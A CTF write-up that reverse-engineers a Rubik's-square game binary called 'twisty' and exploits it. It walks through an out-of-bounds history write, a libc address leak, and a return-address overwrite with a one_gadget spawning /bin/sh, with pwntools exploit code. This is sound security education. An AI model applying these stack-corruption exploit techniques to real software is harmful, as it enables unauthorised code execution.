Posted on by Shir Klein

twisty

Twisty

The Challenge

Author: trupples

Inspired by stackola’s game, I wanted to build my own version, but in C. What could go wrong?

In this challenge, we are given 2 files: An X86_64 executable ‘twisty’ and the corresponding libc (libc-2.23.so).

Running the binary the following game starts:

Pressing ‘?’ shows the different commands:

Reversing twisty

After fiddling a bit with the game and the different commands, we move to reverse the binary, using IDA.

We learn that:

  1. The board is shuffled 500 times by reading from /dev/random upon starting.

  2. The game goes to an endless while loop in its main function until the board is in the right order.

  3. Since there are total of 16 rotation possible ([row/column] * [direction] * [row/column number]), one nibble is used to represent a move.

  4. A buffer of length 2048 bytes is used to store the command history, each byte holding two moves.

  5. The data is laid out in memory in the following structure, which is stored on the main’s function stack.

    struct state {
char current_board[16];
char move_history[2048];
int move_number;
};
  6. When a move is being made, the move’s nibble is stored in history, indexed using move_number, and move_number is incremented.

  1. To implement the ‘undo’ function the history is then accessed at the current move number, the reverse rotation is calculated and performed, and the move number is decreased:

  1. To list the command history the code simply iterates the history cells from beginning until reaching the current move.

  2. There’s a stack canary protection enabled.

Bugs and primitives

By reviewing the decompiled code and running some trial and errors we found the following bugs:

  • When undoing a move there’s no check if the current move_number is positive. So move_number can be set to a negative value.
  • There is no boundary check on the history, when the current move is used to index it. So after writing the 4096’th move, the next move is going to be stored in on the value next to it on the stack, which is the move_number itself. After that, every further move would use the (now one-nibble overwritten) move number to write the history values. Since we can control the amount of moves, as well as the data being written (we can map every possible game move to a nibble value) we get a relative write from the state.history location on the stack. Note that, conveniently, this behavior also allows us to jump over the stack canary, since the first write increments the move_number by 0xf0, the following writes already write after the location of the canary.
  • We can also set the move_number to a negative value and overwrite backwards on the stack.

The plan

So we have a relative write on the stack. It has become apparent that the plan should be to overwrite the return address with using some libc’s address/gadget, and we can hopefully jump to someplace useful.

Info leak

In order to overwrite the address we need to figure out a valid address from libc, which we can then use in order to calculate the base of libc in memory. How can we use our primitive to get a leak?

Turns out the l command (list previous moves) is just what we need. As mentioned above, the first value to get written when history runs out of space is the move_number. If we perform 4096 moves, the next move would write the high nibble of the lowest byte in move_number. If we write 0xf on it we’ll get move_number of 0x10f1. Now when we’ll print the history we’ll get a dump of legal 4096 moves, plus 241 ‘moves’ from the stack after history ends, which sums up to a leak of about 120 bytes.

We used pwntools to automate this process, after sending the l command we get the following print:

r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l r3l

<Repeats 4096 times>

c1u c1u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c1u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u r3l r0r r1r r0l c2u c1d c0u r1r c1u r2l c3u c3d c3d c1d r2r c0u c1d r1r r1l r2l r3l c3d r3l r3l c3d r3l c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u r3r c0u c0d r2l c1d c1d c1d c1d c1d c1d c1d c1d c0u c0u c0u c0u c0u c0u c0d r0l c1d c1d c1d c1d c1d c1d c1d c1d c0u c0u c0u c0u r3r c0u r1l r1l r3l r3l r3l r3l r3l r3l c3d r3l c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u r1r c3d c1d r3r r2r c0u r3l c3d r3l r3l c3d r3l c0u c0u c0u c0u c0u c1u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u c0u r3r r0r r1l r1l r3l r3l r3l r3l r3l r3l c3d r3l c0u c0u c0u c0u c0u c0u r0r c0u c0u c0u c0u c0u c0u c1u c0u c0u c0u c0u c0u c0u c0d c0u c0d r0r c1d c1d c1d c1d c1d c1d c1d c1d c0u c0u c0u c0u c0u

Translating each value to its corresponding nibble and being careful with endianness and nibble location within each byte, we get the following 64 bit values:

0x00000000000010f1
0x0000000000000001
0x75371e09259cf800
0x00007ffff7de59a0
0x0000000000000000
0x0000555555554eb0
0x0000555555554c00
0x00007fffffffddb0
0x0000000000000000
0x0000000000000000
0x00007ffff7a05b97 <—– __libc_start_main
0x0000000000000001
0x00007fffffffddb8
0x0000000100008000
0x0000555555554840

Using gdb we can check the interesting values:

And we’ve found __libc_start_main, which is also our return address! Now we know where libc is loaded, and also have the location of the return address which we aim to overwrite.

Here’s a snippet of the python code to get the leak:

from pwn import *

d = {'c0u': 0,
     'c1u': 1,
     'c2u': 2,
     'c3u': 3,
     'c0d': 4,
     'c1d': 5,
     'c2d': 6,
     'c3d': 7,
     'r0r': 8,
     'r1r': 9,
     'r2r': 10,
     'r3r': 11,
     'r0l': 12,
     'r1l': 13,
     'r2l': 14,
     'r3l': 15,
     }

def nib_to_code(val):
    dd = {k:v for v,k in d.items()}
    return dd[val]

def code_to_nib(code):
    if code not in d:
        print('Not in dict "{}"'.format(code))
        return
    return d[code]


def leak(p):
    p.sendline('l')
    history = p.recvuntil('\n> ').decode('utf8')
    history = history.split('\n')[0]
    print(history)
    tuple_list = history.split(' ')
    if tuple_list[-1] == '':
        tuple_list = tuple_list[:-1]
    b = ""
    buffer = []
    for i in range(2048, len(tuple_list) // 2):
        high = code_to_nib(tuple_list[i * 2])
        low = code_to_nib(tuple_list[i * 2 + 1])
        res = high * 16 + low
        buffer.append(res)
    ba = bytearray(buffer)
    print(ba)
    if len(buffer) % 8 > 0:
        print("WARNING buffer not aligned ({})".format(len(buffer)))
    for i in range(0, len(buffer) - len(buffer) % 8, 8):
        print(('0x' + '{:02x}' * 8).format(buffer[i + 7], buffer[i + 6], buffer[i + 5], buffer[i + 4],
                                           buffer[i + 3], buffer[i + 2], buffer[i + 1], buffer[i]))
    return ba

if __name__ == '__main__':
    p = process('twisty')
    for i in range(4097):
        print("running command {}".format(i))
        p.recvuntil('\n> ').decode('utf8')
        p.sendline('r3l')
    print(p.recvuntil('\n> ').decode('utf8'))
    ba = leak(p)
    ptr_list = []
    for i in range(0, len(ba), 8):
        ptr = struct.unpack('<Q', ba[i:i+8])[0]
        print('0x%016x'%ptr)
        ptr_list.append(ptr)
    libc_start_main_ptr = ptr_list[10]
Writing the return address and One-Gadget

We ran one_gadget on the provided libc, which provided us with a very useful one gadget to run execve('/bin/sh', NULL, NULL)

By finding the offset of __libc_start_main in the provided libc, we deduce the correct address of our gadget. In order to write to the correct location on the stack, we take the move_number back using the u command, and after some trial and error manage to get to the correct location. Now we can simply send the moves to write our desired address, one nibble at a time. Here’s a snippet of python code:

def write_nibble(p, val):
    p.sendline(nib_to_code(val))
    p.recvuntil('\n> ')

def undo(p, cnt=1):
    for i in range(cnt):
        p.sendline('u')
        p.recvuntil('\n> ')

def write_addr(p, addr):
    for i in range(8):
        b = addr & 0xff
        addr = addr >> 8
        write_nibble(p, (b & 0xf0) >> 4)
        write_nibble(p, b & 0x0f)

# ...continue of main above
undo(p, (len(ptr_list) - 10) * 16 + 1)
OFFSET_OF_LIBC_START_MAIN = 0x20830
OFFSET_OF_GADGET_IN_LIB_C = 0x45216
load_offset = libc_start_main_ptr - OFFSET_OF_LIBC_START_MAIN
gadget_offset = load_offset + OFFSET_OF_GADGET_IN_LIB_C
write_addr(p, gadget_offset)

Solving Rubik’s square

We’re almost done, there’s just one last problem. In order to jump to our gadget we need to return from the function, and it seems the only way to go out of the while was to get the board to the correct location (i.e solving the Rubik’s square game):

Initially we tried to use our relative write primitive to write on the board itself (which as mentioned is also located on the stack). This proved to be quite tricky, because every write is also a different game move, so we end up scrambling the board after every write. We’ve decided to settle with the non-hacky approach of implementing the algorithm to solve it. After overwriting the return address on the stack, we read the current board state from the command line, and create the 50-150 moves needed to solve it. Note we can still ‘play’ the game normally but the history is now being written on the stack, below the return address. These stack values are not used anyway.

Now to run the resulting script on the server: